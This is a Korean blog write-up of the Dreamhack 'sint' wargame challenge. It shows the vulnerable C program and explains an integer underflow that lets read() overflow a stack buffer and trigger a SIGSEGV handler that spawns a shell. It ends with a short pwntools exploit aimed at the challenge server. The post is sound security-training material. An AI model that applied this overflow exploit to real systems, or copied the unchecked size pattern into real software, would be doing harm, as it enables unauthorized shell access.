e_yejun
Jun_ : Pwn
e_yejun
전체 방문자
오늘
어제
  • 분류 전체보기 (240)
    • Profile (1)
    • Pwnable (54)
    • Reversing (14)
    • Network (8)
    • Forensic (10)
    • Embedded (4)
    • Android (2)
    • Web (18)
    • 알고리즘 (42)
    • 프로그래밍 (24)
    • 프로젝트 (6)
    • 1-day (7)
    • CTF (15)
    • 기타 (33)
    • 일기장 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • dvwa
  • x64
  • rev-basic
  • 1-day
  • dreamhack.io
  • X86
  • how2heap
  • wargame
  • Heap
  • BOF

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
e_yejun

Jun_ : Pwn

Pwnable

[Dreamhack] sint - write up

2023. 2. 19. 21:22

Index

문제
보호기법
sint.c
문제풀이
read 함수 원형
익스플로잇 코드


sint
Description 이 문제는 서버에서 작동하고 있는 서비스(sint)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요. 셸을 획득한 후, "flag" 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다. 플래그의 형식은 DH{...} 입니다. Environment Ubuntu 16.04 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Reference Integer issues
https://dreamhack.io/wargame/challenges/25/

문제

보호기법

nx가 걸려있고, 32bit 바이너리 파일이다.

sint.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

    return 0;
}

문제풀이

read 함수 원형

ssize_t read(int fides, void *buf, size_t nbytes);

read 함수의 마지막 인자로 사용되는 nbytes의 자료형을 보면 size_t 자료형이다.

이 자료형은 C언어에서 임의의 객체가 가질 수 있는 최대 크기를 나타낸다. 크기를 표현하는데 있어서 음수가 의미가 없으므로, 부호없는 정수(unsigned int)를 사용한다.

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

size의 크기는 0부터 256까지 입력이 가능하다.

read(0, buf, size - 1);

이후, size-1 만큼 buf에 데이터를 입력한다. 입력받은 size가 0이라면 read함수의 세번째 인자는 -1이 된다. 하지만 앞서 설명했듯이 size_t 자료형을 사용하기 때문에 32bit의 부호없는 정수 최대 크기인 4,294,967,295로 될 것이다.

이후 버퍼를 터트리면 get_shell함수가 실행되면서 셸을 얻을 수 있다.

익스플로잇 코드

from pwn import *

#p = process('./sint')
e = ELF('./sint')
p = remote('host3.dreamhack.games', 21300)

p.sendlineafter(b'Size: ', b'0')
p.sendlineafter(b'Data: ', b'a'*260)

p.interactive()


Uploaded by N2T

    'Pwnable' 카테고리의 다른 글
    • [Dreamhack] tcache_dup2 - write up
    • [Dreamhack] cmd_center - write up
    • [Dreamhack] tcache_dup - write up
    • [Dreamhack] Tcache Poisoning - write up
    e_yejun
    e_yejun
    정리노트 •_•

    티스토리툴바